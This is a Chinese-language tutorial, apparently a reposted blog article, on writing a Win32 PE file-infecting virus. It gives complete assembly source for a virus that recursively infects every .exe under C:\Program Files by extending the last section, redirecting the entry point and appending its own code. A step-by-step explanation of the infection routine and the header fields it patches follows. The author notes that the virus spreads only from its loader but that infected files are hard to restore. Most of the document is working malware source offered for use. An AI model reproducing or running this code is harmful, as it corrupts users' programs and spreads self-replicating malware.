美妙的PE Virus 编写 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    xxfish

    首先以一段Demo 病毒代码来开端,

美妙的PE Virus 编写

。下面以文章的形式来剖析感染过程。希望结交更多的Virus研究的看官。 o(∩_∩)o... 复制内容到剪贴板

    代码:

    ;============================================================================

    ;

    ; WIN32.FUNCKHACKER - WRITTEN BY XFISH

    ; (c)2009-03

    ;

    ;============================================================================

    ;

    ; DESCRIPCION

    ; ===========

    ;

    ;  病毒代码采用PEB获得kernel32基地址,然后通过hash搜索填充api函数(这里Thanks ...   coban2k,Anskya), 病毒整体可

    ;移植到任何的宿主中,这也就是和网络上目前那些通过静态注入(感染)部分shellcode的区别... 此病毒代码没有加入病毒更多的

    ;技术,例如epo, 多态等。但是代码我认为却是比较精炼,尤其是Get_Apis过程,填充api方便 快捷 o(∩_∩)o...

    ;

    ; 此病毒代码仅仅是为了作为技术研究而使用,所以我限制了传播,在程序中,我做了仅是Loader调用 -

    ;感染过程,感染过程我仅仅感染Program Files目录的所有exe文件程序代码在宿主中仅仅调用消息框提示给用户.....虽然说

    ;限制了传播,但是感染后要恢复的话,也不是很容易,所以谨慎使用.....

    ;==============================================================================

    format PE GUI 4.0

    include 'win32ax.inc'

    entry       Virus_Entry

    .text

    ;--------------------------

    Virus_Flag equ 'FISH'

    ;--------------------------

    Virus_Entry:

    pushad

    pushfd

    call       Dels

    Dels:

    pop       ebp

    sub       ebp, Dels

    ;-------------------------

    ;填充Api函数地址

    ;-------------------------

    call       GetKrnl32

    lea       edi, [ebp + dwFuncs]

    call       Get_Apis

    @pushsz       'user32'

    call       [ebp + _LoadLibraryA]

    call       Get_Apis

    ;--------------------------------

    ;为了没有危害性,程序判断了在宿主中

    ;不开启感染函数,这样也就无法通过宿主

    ;来进行传播,宿主仅调用提提示函数 感染

    ;仅在Loader中开启.... o(∩_∩)o...

    ;-------------------------------

    mov       eax, [fs:30h]

    mov       eax, [eax+08h]

    cmp       dword [eax+2], Virus_Flag

    jne       .Loader

    ;-----------------------------------

    ;消息框警告用户已经中毒

    ;----------------------------------

    sub       edx, edx

    push       30h

    lea       eax, [ebp + szTitle]

    push       eax

    lea       eax, [ebp + szText]

    push       eax

    push       edx

    call       [ebp + _MessageBoxA]

    ;---------------------------------------

    popfd

    add       esp, 4*8

    lea       eax, [ebp + Jmp_Host]

    jmp       eax

    .Loader:

    ;-------------------------

    ;Loader 感染过程

    ;-------------------------

    mov       edx, ebp

    push       '.exe'

    @pushsz       'C:\Program Files'

    call       Inject_Disk

    popfd

    popad

    ret

    ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((

    ;---------------------------------------------

    ; 获得kernel32基地址

    ; input: nothing

    ;---------------------------------------------

    GetKrnl32:

    mov    eax, [fs:30h]

    irp   offset, 0ch,1ch,00h,08h {mov eax, [eax+offset]}

    ret

    ;---------------------------------------------------

    ;获取并填充api函数地址

    ;input : eax = Krnl32Base , edi = HashFuncAddress

    ;thanks coban2k,Anskya

    ;---------------------------------------------------

    Get_Apis:

    pushad

    xchg        eax, ebx

    mov         eax, [ebx+03ch]

    mov         esi, [eax+ebx+78h]       ; Get Export Rva

    lea         esi, [esi+ebx+18h]        ; get Export NumberOfFunctions

    cld

    lodsd                               ; NumberOfFunctions

    xchg        eax, ecx

    lodsd                               ; AddressOfFunctions

    push        eax

    lodsd                               ; AddressOfNames

    add         eax, ebx

    xchg        eax, edx

    lodsd                               ; AddressOfNameOrdinals

    add         eax, ebx

    xchg        eax, ebp

    xchg        edx, esi

    .Next_Func:

    lodsd

    add         eax, ebx

    xor         edx, edx

    .Calc_Hash:

    rol         edx, 3

    xor         dl, byte [eax]

    inc        eax

    cmp        byte [eax], 0

    jnz         .Calc_Hash

    push        edi

    .Scan_dw_Funcs:

    cmp         [edi], edx

    jnz         .Skip_Function

    movzx eax, word [ebp]

    shl   eax, 2

    add   eax, [esp+4]

    mov   eax, [eax+ebx]

    add   eax, ebx

    scasd

    stosd

    .Skip_Function:

    scasd

    add       edi, 4

    sub         eax, eax

    cmp         dword [edi], eax

    jne         .Scan_dw_Funcs

    pop         edi

    add         ebp, 2

    loop       .Next_Func

    pop         ecx

    popad

    ret

    ;-------------------------------------------

    ; 感染磁盘函数

    ; input: edx = dels(重定位偏移差)

    ;-------------------------------------------

    proc       Inject_Disk lpszDirectory, dwFileType

    locals

    @hFindFile       rd       1

    @stWfd               WIN32_FIND_DATA

    @szSearch       rb       260

    endl

    pushad

    mov       ebx, edx

    lea       esi, [@szSearch]

    push       [lpszDirectory]

    push       esi

    call       [ebx + _lstrcpyA]

    ;---------------------------------------

    ;esi = @szSearch

    ;copy 文件路径到 esi

    ;---------------------------------------

    @pushsz       '\*.*'

    push       esi

    call       [ebx + _lstrcatA]

    lea       edi, [@stWfd]

    ;----------------------------------------

    ;esi + '\*.*', edi = ptr WIN32_FIND_DATA

    ;---------------------------------------

    push       edi

    push       esi

    call       [ebx + _FindFirstFileA]

    inc       eax

    jz       .Ret

    dec       eax

    mov       [@hFindFile], eax

    .repeat

    pushad

    mov       edi, esi

    xor       eax, eax

    mov       ecx, 260

    rep       movsb

    popad

    ;------------------------------

    cmp       byte [edi+WIN32_FIND_DATA.cFileName], '.'

    je       .FindNext

    ;------------------------------

    push       [lpszDirectory]

    push       esi

    call       [ebx + _lstrcpyA]

    @pushsz       '\'

    push       esi

    call       [ebx + _lstrcatA]

    lea       edx, [edi+WIN32_FIND_DATA.cFileName]

    push       edx

    push       esi

    call       [ebx + _lstrcatA]

    ;------------------------------

    mov        eax, [edi+WIN32_FIND_DATA.dwFileAttributes]

    and       eax, FILE_ATTRIBUTE_DIRECTORY

    .if       eax = FILE_ATTRIBUTE_DIRECTORY

    mov       edx, ebx

    push       [dwFileType]

    push       esi

    call       Inject_Disk

    jmp       .FindNext

    .endif

    ;-----------------------------

    ; 转换小写

    ;-----------------------------

    push       esi

    call       StrLwr

    push       esi

    call       [ebx + _lstrlenA]

    mov       edx, [dwFileType]

    cmp       dword [esi+eax-4], edx

    jne       .FindNext

    ;-----------------------------

    ; 进行感染工作

    ;-----------------------------

    mov       eax, esi

    call       Inject_File

    .FindNext:

    push       edi

    push       [@hFindFile]

    call       [ebx + _FindNextFileA]

    .until       eax = 0

    push       [@hFindFile]

    call       [ebx + _FindClose]

    .Ret:

    popad

    ret

    endp

    ;----------------------------------------

    ; 字符串转换小写函数

    ;----------------------------------------

    proc       StrLwr       uses esi edi, pString

    mov       esi, [pString]

    mov       edi, esi

    @@:

    lodsb

    test       al, al

    je       @f

    .if al >= 'A' & al <= 'Z'

    or       al, 20h

    stosb

    jmp       @b

    .endif

    stosb

    jmp       @b

    @@:

    ret

    endp

    ;---------------------------------------

    ;input: eax - 对齐的值, ecx - 对齐因子

    ;

    ;Ouput: eax - 对齐值

    ;---------------------------------------

    Align_Size:

    pushad

    xor       edx, edx

    push       eax

    div       ecx

    pop       eax

    sub       ecx, edx

    add       eax, ecx

    mov       [esp+4*7], eax

    popad

    ret

    ;--------------------------------------

    ;感染过程

    ;input: eax - 文件路径

    ;

    ;OuPut: nothing

    ;---------------------------------------

    Inject_File:

    pushad

    sub       edx, edx

    ;---------------------------------

    ;mov       ebp, ebx .... ebp = dels

    ;---------------------------------

    mov       ebp, ebx

    push       edx

    push       edx

    push       OPEN_EXISTING

    push       edx

    push       FILE_SHARE_READ

    push       GENERIC_WRITE or GENERIC_READ

    push       eax

    call       [ebp + _CreateFileA]

    inc       eax

    jz       .Open_Faild

    dec       eax

    xchg       eax, ebx

    ;---------------------

    ;ebx - 文件句柄

    ;---------------------

    xor       edx, edx

    push       edx

    push       edx

    push       edx

    push       PAGE_READWRITE

    push       edx

    push       ebx

    call       [ebp + _CreateFileMappingA]

    test       eax, eax

    jz       .OpenMap_Faild

    xchg       eax, esi

    ;-----------------------

    ;esi - 文件映射句柄

    ;-----------------------

    sub       edx, edx

    push       edx

    push       edx

    push       edx

    push       FILE_MAP_WRITE

    push       esi

    call       [ebp + _MapViewOfFile]

    test       eax, eax

    jz       .MapFile_Faild

    xchg       eax, edi

    ;-----------------------

    ;edi - 文件映射内存偏移

    ;-----------------------

    cmp       word [edi], 'MZ'

    jnz       .Ret

    cmp       dword [edi+2], Virus_Flag

    jz       .Ret

    push       0

    push       ebx

    call       [ebp + _GetFileSize]

    add       eax, Virus_Size

    mov       edx, [edi+3ch]

    add       edx, edi

    push       dword [edx+3ch]

    pop       ecx

    call       Align_Size

    ;-----------------------

    ;eax - 文件对齐大小

    ;-----------------------

    pushad

    push       edi

    call       [ebp + _UnmapViewOfFile]

    push       esi

    call       [ebp + _CloseHandle]

    popad

    push       eax

    xor       edx, edx

    push       edx

    push       eax

    push       edx

    push       PAGE_READWRITE

    push       edx

    push       ebx

    call       [ebp + _CreateFileMappingA]

    pop       ecx

    or       eax, eax

    jz       .OpenMap_Faild

    xchg       eax, esi

    ;-----------------------

    ;esi - 文件映射句柄

    ;ecx - 文件对齐大小

    ;-----------------------

    sub       edx, edx

    push       ecx

    push       edx

    push       edx

    push       FILE_MAP_WRITE

    push       esi

    call       [ebp + _MapViewOfFile]

    test       eax, eax

    jz       .MapFile_Faild

    xchg       eax, edi

    ;-----------------------

    ;edi - 文件映射内存偏移

    ;-----------------------

    mov       edx, [edi+3ch]

    cmp       word [edx+edi], 'PE'

    jnz       .Ret

    ;-----------------------

    ;edx - PE头结构偏移

    ;ecx - 节表数量-1的大小

    ;eax - 数据目录段大小

    ;-----------------------

    add       edx, edi

    movzx       ecx, word [edx+06h]

    dec       ecx

    imul       ecx, ecx, 28h

    mov       eax, [edx+74h]

    shl       eax, 3

    ;-------------------------

    ;edx - 指向末尾节表位置

    ;-------------------------

    add       edx, 78h

    add       edx, ecx

    add       edx, eax

    ;----------------------------------------

    ;ecx = SizeOfRawData + pointerToRawData

    ;----------------------------------------

    mov       ecx, [edx+14h]

    add       ecx, [edx+10h]

    push       ecx

    ;---------------------------------------

    ;New ep = SizeOfRawData + virtual address

    ;   eax = [edx+10h]  + [edx+0ch]

    ;---------------------------------------

    mov       eax, [edx+10h]

    add       eax, [edx+0ch]

    ;---------------------------------------

    ; 计算jmp相对偏移值,然后写入

    ;---------------------------------------

    mov       ecx, [edi+3ch]

    pushad

    xchg       eax, edx

    add       edx, Jmp_Size

    mov       eax, [ecx+edi+28h]

    sub       eax, edx

    mov       [ebp + Jmp_Addr], eax

    popad

    ;-----------------------------------

    ;[ecx+edi+28h] = AddressOfEntryPoint

    ;-----------------------------------

    mov       [ecx+edi+28h], eax

    ;-----------------------------

    ;[edx+10h] - SizeOfRawData

    ;[ecx+edi+3ch] - File Aligment

    ;----------------------------

    mov       eax, [edx+10h]

    add       eax, Virus_Size

    mov       ecx, [edi+3ch]

    mov       ecx, [ecx+edi+3ch]

    call       Align_Size

    ;-----------------------------

    ;[edx+10h] - SizeOfRawData

    ;[edx+08h] - VirtualSize

    ;[ecx+edi+50h] - SizeOfImage

    ;0A0000020h - 可读可写的节属性

    ;------------------------------

    mov       [edx+10h], eax

    mov       [edx+08h], eax

    ;-----------eax + virtual address--------

    add       eax, [edx+0ch]

    mov       ecx, [edi+3ch]

    mov       [ecx+edi+50h], eax

    or       dword [edx+24h], 0A0000020h

    mov       dword [edi+2], Virus_Flag

    pop       eax ;取出临时存储

    ;-----------------------------------

    pushad

    xchg       eax, esi

    add       esi, edi

    xchg       esi, edi

    lea       esi, [ebp + Virus_Entry]

    mov       ecx, Virus_Size

    rep       movsb

    popad

    .Ret:

    push       edi

    call       [ebp + _UnmapViewOfFile]

    .MapFile_Faild:

    push       esi

    call       [ebp + _CloseHandle]

    .OpenMap_Faild:

    push       ebx

    call       [ebp + _CloseHandle]

    .Open_Faild:

    popad

    ret

    ; ----------------------------------------------

    ;       Jmp HostAddress

    Jmp_Host:

    jmp       12345678

    Jmp_Addr = $ - 4

    Jmp_Size = $ - Virus_Entry

    ; ----------------------------------------------

    ;--------------------------------------------------------------

    szText               db       'Win32 PE Virus Demo, The Worm Name Is FuckHacker o(∩_∩)o.........', 0

    szTitle               db       'Win32 PE Virus Demo', 0

    dwFuncs:

    RolHash               _lstrcpyA, 'lstrcpyA'

    RolHash               _lstrcatA, 'lstrcatA'

    RolHash        _lstrlenA, 'lstrlenA'

    ;RolHash       _CreateThread, 'CreateThread'

    ;RolHash       _CreateEventA, 'CreateEventA'

    ;RolHash       _GetLastError, 'GetLastError'

    ;RolHash       _ExitThread, 'ExitThread'

    RolHash               _FindFirstFileA, 'FindFirstFileA'

    RolHash        _FindNextFileA, 'FindNextFileA'

    RolHash               _FindClose, 'FindClose'

    RolHash               _CreateFileA, 'CreateFileA'

    RolHash        _WriteFile, 'WriteFile'

    RolHash        _ReadFile, 'ReadFile'

    RolHash               _GetFileSize, 'GetFileSize'

    RolHash        _CloseHandle, 'CloseHandle'

    RolHash        _LoadLibraryA, 'LoadLibraryA'

    RolHash        _GetProcAddress, 'GetProcAddress'

    RolHash                _MapViewOfFile, 'MapViewOfFile'

    RolHash               _CreateFileMappingA, 'CreateFileMappingA'

    RolHash        _UnmapViewOfFile, 'UnmapViewOfFile'

    RolHash        _MessageBoxA, 'MessageBoxA'

    rd               4

    ;----------------------------------------------------------

    Virus_Size = $ - Virus_Entry文章Begin:

    大家再看到这篇文章的标题时应该会对“美妙”一词感到疑惑,怎么我会以美妙来修饰,

电脑资料

美妙的PE Virus 编写》(https://www.unjs.com)。大家不必惊讶,没错,它的确是美妙的,因为在这里你可以施展自己的扩展性思维,让你的代码发展的淋漓尽致,还有比这个更美妙的吗?

    至于病毒编写需要的一些前置知识,今天这篇文章我就不想过多讲解了。例如PE结构的知识、重定位、Hash搜索API函数地址等。如果哪位朋友觉得自己不具备上面说的这些基础知识,那最好还是补习下。

    首先我们都知道,我们的win32可执行文件格式就是PE文件结构,那么我们感染对象也就是PE文件结构。所以我这里至少认为你对PE文件结构已经是很熟悉了。好,继续,今天我们的感染方式是扩展末尾节,因为它很简单、稳定、快捷。那么扩展末尾节顾名思义就是针对被感染对象的最后一个节的扩展。将尾部节的大小扩充,然后将我们的病毒代码Write进去,修改若干的PE结构成员。 知道这些,你肯定会问修改哪些若干成员,为了给大家更直白的感觉,下面我列出了感染中需要修改的结构成员。

    1.       SizeOfImage                               50h

    2.       SizeOfRawData                       10h

    3.       VirtualSize                               08h

    4.       Characteristics                               24h

    5.       AddressOfEntryPoint               28h

    6.       e_cblp + e_cp                                02h   ;4字节感染标记,利用你的创造性,来吧。

    后面给出的数值则是这些成员相对于结构的偏移。这是为了我们后面的写Raw代码时候的方便。呼呼。

    那么接下来大家来看下我们的感染过程。 复制内容到剪贴板

    代码:

    ;--------------------------------------

    ;感染过程

    ;input: eax - 文件路径

    ;

    ;OuPut: nothing

    ;---------------------------------------

    Inject_File:

    pushad

    sub       edx, edx

    ;---------------------------------

    ;mov       ebp, ebx .... ebp = dels

    ;---------------------------------

    mov       ebp, ebx

    push       edx

    push       edx

    push       OPEN_EXISTING

    push       edx

    push       FILE_SHARE_READ

    push       GENERIC_WRITE or GENERIC_READ

    push       eax

    call       [ebp + _CreateFileA]

    inc       eax

    jz       .Open_Faild

    dec       eax

    xchg        eax, ebx

    ;---------------------

    ;ebx - 文件句柄

    ;---------------------

    xor       edx, edx

    push       edx

    push       edx

    push       edx

    push       PAGE_READWRITE

    push       edx

    push       ebx

    call       [ebp + _CreateFileMappingA]

    test       eax, eax

    jz       .OpenMap_Faild

    xchg       eax, esi

    ;-----------------------

    ;esi - 文件映射句柄

    ;-----------------------

    sub       edx, edx

    push       edx

    push       edx

    push       edx

    push       FILE_MAP_WRITE

    push       esi

    call       [ebp + _MapViewOfFile]

    test       eax, eax

    jz       .MapFile_Faild

    xchg       eax, edi

    ;-----------------------

    ;edi - 文件映射内存偏移

    ;-----------------------

    cmp       word [edi], 'MZ'

    jnz       .Ret

    cmp       dword [edi+2], Virus_Flag

    jz       .Ret

    push       0

    push       ebx

    call       [ebp + _GetFileSize]

    add       eax, Virus_Size

    mov       edx, [edi+3ch]

    add       edx, edi

    push       dword [edx+3ch]

    pop       ecx

    call       Align_Size

    ;-----------------------

    ;eax - 文件对齐大小

    ;-----------------------

    pushad

    push       edi

    call       [ebp + _UnmapViewOfFile]

    push       esi

    call       [ebp + _CloseHandle]

    popad

    push       eax

    xor       edx, edx

    push       edx

    push       eax

    push       edx

    push       PAGE_READWRITE

    push       edx

    push       ebx

    call       [ebp + _CreateFileMappingA]

    pop       ecx

    or       eax, eax

    jz       .OpenMap_Faild

    xchg       eax, esi

    ;-----------------------

    ;esi - 文件映射句柄

    ;ecx - 文件对齐大小

    ;-----------------------

    sub       edx, edx

    push       ecx

    push       edx

    push       edx

    push       FILE_MAP_WRITE

    push       esi

    call       [ebp + _MapViewOfFile]

    test       eax, eax

    jz       .MapFile_Faild

    xchg       eax, edi

    ;-----------------------

    ;edi - 文件映射内存偏移

    ;-----------------------

    mov       edx, [edi+3ch]

    cmp       word [edx+edi], 'PE'

    jnz       .Ret

    ;-----------------------

    ;edx - PE头结构偏移

    ;ecx - 节表数量-1的大小

    ;eax - 数据目录段大小

    ;-----------------------

    add       edx, edi

    movzx       ecx, word [edx+06h]

    dec       ecx

    imul       ecx, ecx, 28h

    mov       eax, [edx+74h]

    shl       eax, 3

    ;-------------------------

    ;edx - 指向末尾节表位置

    ;-------------------------

    add       edx, 78h

    add       edx, ecx

    add       edx, eax

    ;----------------------------------------

    ;ecx = SizeOfRawData + pointerToRawData

    ;----------------------------------------

    mov       ecx, [edx+14h]

    add       ecx, [edx+10h]

    push       ecx

    ;---------------------------------------

    ;New ep = SizeOfRawData + virtual address

    ;   eax = [edx+10h]  + [edx+0ch]

    ;---------------------------------------

    mov       eax, [edx+10h]

    add       eax, [edx+0ch]

    ;---------------------------------------

    ; 计算jmp相对偏移值,然后写入

    ;---------------------------------------

    mov       ecx, [edi+3ch]

    pushad

    xchg       eax, edx

    add       edx, Jmp_Size

    mov       eax, [ecx+edi+28h]

    sub       eax, edx

    mov       [ebp + Jmp_Addr], eax

    popad

    ;-----------------------------------

    ;[ecx+edi+28h] = AddressOfEntryPoint

    ;-----------------------------------

    mov       [ecx+edi+28h], eax

    ;-----------------------------

    ;[edx+10h] - SizeOfRawData

    ;[ecx+edi+3ch] - File Aligment

    ;----------------------------

    mov       eax, [edx+10h]

    add       eax, Virus_Size

    mov       ecx, [edi+3ch]

    mov       ecx, [ecx+edi+3ch]

    call       Align_Size

    ;-----------------------------

    ;[edx+10h] - SizeOfRawData

    ;[edx+08h] - VirtualSize

    ;[ecx+edi+50h] - SizeOfImage

    ;0A0000020h - 可读可写可执行的节属性

    ;------------------------------

    mov       [edx+10h], eax

    mov       [edx+08h], eax

    ;-----------eax + virtual address--------

    add       eax, [edx+0ch]

    mov       ecx, [edi+3ch]

    mov       [ecx+edi+50h], eax

    or       dword [edx+24h], 0A0000020h

    mov       dword [edi+2], Virus_Flag

    pop       eax ;取出临时存储

    ;-----------------------------------

    pushad

    xchg       eax, esi

    add       esi, edi

    xchg       esi, edi

    lea       esi, [ebp + Virus_Entry]

    mov       ecx, Virus_Size

    rep       movsb

    popad

    .Ret:

    push       edi

    call       [ebp + _UnmapViewOfFile]

    .MapFile_Faild:

    push       esi

    call       [ebp + _CloseHandle]

    .OpenMap_Faild:

    push       ebx

    call       [ebp + _CloseHandle]

    .Open_Faild:

    popad

    ret

    ; ----------------------------------------------

    ;       Jmp HostAddress

    Jmp_Host:

    jmp       12345678

    Jmp_Addr = $ - 4

    Jmp_Size = $ - Virus_Entry

    ; ----------------------------------------------好了,接下来我们就来分析我们的感染函数吧,由于我的这个感染过程是在我的感染磁盘函数中调用的, 感染磁盘函数中我声明了局部变量,更由于我的重定位偏移差是存在ebp寄存器的,所以在感染磁盘函数我不得以使用了ebx来存储重定位偏移差,所以这个函数的第一句汇编指令也就是将ebx的值赋给ebp。我想大家应该都看到了, 感染过程中我们使用的是ebp来作为重定位偏移差。首先程序调用CreateFile打开我们的被感染目标,然后通过创建文件映射对象,调用MapViewOfFile将文件映射到内存中。然后判断是否是PE文件格式以及是否被感染,程序此时获得被感染文件大小 + 病毒大小,读取文件对齐值,调用我们的对齐函数获得我们对齐后的文件大小。这里为什么要获得文件对齐后的大小呢,由于的文件各个节表的大小在磁盘中都是基于我们的文件对齐值的,这也是为何我们平常做免杀的时候能有地方能写入我们的汇编指令以及为何我们的一些病毒采用搜索空隙插入数据的原因,所以我们必须调用Align_Size获得对齐文件大小,通过对齐后的大小来扩展(为什么?看前面那)。那么我们来看下Align_Size这个过程,不要说你没有学过数学。

    ;---------------------------------------

    ;input: eax - 对齐的值, ecx - 对齐因子

    ;

    ;Ouput: eax - 对齐值

    ;---------------------------------------

    Align_Size:

    pushad

    xor       edx, edx

    push       eax

    div       ecx

    pop       eax

    sub       ecx, edx

    add       eax, ecx

    mov       [esp+4*7], eax

    popad

    ret

    ;  首先求我们对齐因子基于对齐值的余数,这样通过对齐因子减去余数,得到的值则是能被整除的。通过对齐的值+能被整除的值,则为对齐值。看看这个Align宏或许能对你有点启发。macro align value { rb (value-1)-($+value-1) mod value }。

    获得对齐文件大小后,我们UnMap掉映射文件,然后关闭文件映射对象。因为我们等下需要以指定的大小(也就是刚刚我们获得的对齐文件大小)来创建文件映射对象,这样就免得我们通过SetEndOfFile函数来增加我们的文件长度了。紧接着我们以指定的文件大小来创建文件映射对象并映射到内存。然后判断是否是PE文件,此时获得PE Header头结构的偏移(应该大部分地球人都知道如何获得吧),由于我们要定位最后一个节表的偏移,所以此时我们要通过PE Header的偏移 + 78 来到数据目录段后再 + [NumberOfRvaAndSizes]*8 + [NumberOfSections - 1]* 28 。因为我们事先不知道对方的程序是否做过优化或者是否有几个数据目录结构。所以我们需要读取它的数量*数据目录的结构大小来定位节表。那么+ [NumberOfSections - 1]* 28 我想大家应该也知道了吧,因为我们要定位末尾节表偏移,所以+ [节数量-1]*节表结构的字节大小。好了我们此时已经来到末尾节表的位置了。因为我们要将我们的病毒体整个写入到我们末尾节的尾部(这里的尾部指的是它代码后面),所以我们需要定位末尾节它代码大小后面的偏移。我们通过节表中的SizeOfRawData + pointerToRawData来定位 (不知道这两个成员是分别做什么用的吗?是文件在磁盘的物理偏移和大小)。好了,我们如果想要我们的程序从我们写入的偏移开始执行,我们需要修改被感染程序的OEP,也就是PE Header结构的AddressOfEntryPoint。但是我们需要注意的一点是这个成员是RVA地址,也就是映射到内存后基于基地址的偏移。所以我们需要以节表映射到内存的偏移 + 原始节在磁盘中的字节大小。 不用说肯定是节表的SizeOfRawData + virtual address了。 OK,此时我们可以将两个成员相加后得到偏移写入到AddressOfEntryPoint成员了。。

    接下来我说下如何计算jmp 到oep的相对偏移,因为我们都知道我们jmp 到一个地址,实际上编译器编译后是写入的是我们jmp本身所处的地址基于要跳向地址的偏移,它是一个相对偏移,那么我们如何来计算这个相对偏移呢?我们新Oep偏移跳转到之前程序的OEP,这肯定是一个long跳转也就是5字节的。如果我们仅仅是从低地址跳向高地址,那么直接通过高地址 – 低地址的偏移 -5就可以了。 但是我们是高地址跳向低地址。所以我们通过低地址 – 高地址 得到补码后 – 5则为我们高地址基于低地址的偏移。因为很懒的缘故吧,所以我通过新OEP +5字节后,在通过原Oep – 新Oep。得到值则为新Oep相对原Oep的偏移。然后就可以将这个4字节值写入到我们jmp 后面的偏移了。

    这时候我们计算我们新的SizeOfRawData成员值,这个值我就不想多说了吧。原SizeOfRawData+病毒大小。然后调用 对齐函数,获得对齐后的大小写入进去。VirtualSize是我们节映射到内存的大小,所以这个成员我们也直接写入对齐后的SizeOfRawData值就可以了。接下来就是我们的SizeOfImage成员 它是映像文件映射到内存的总大小,我们直接通过SizeOfRawData + VirtualAddress的大小来计算就可以了。

    好了,重要的成员我们都修改完成了,接下来就是我们的写入工作了。很简单,直接rep movsb就OK了。。

    好了到这里感染过程就基本上给大家解释完了。一切皆因兴趣...........

最新文章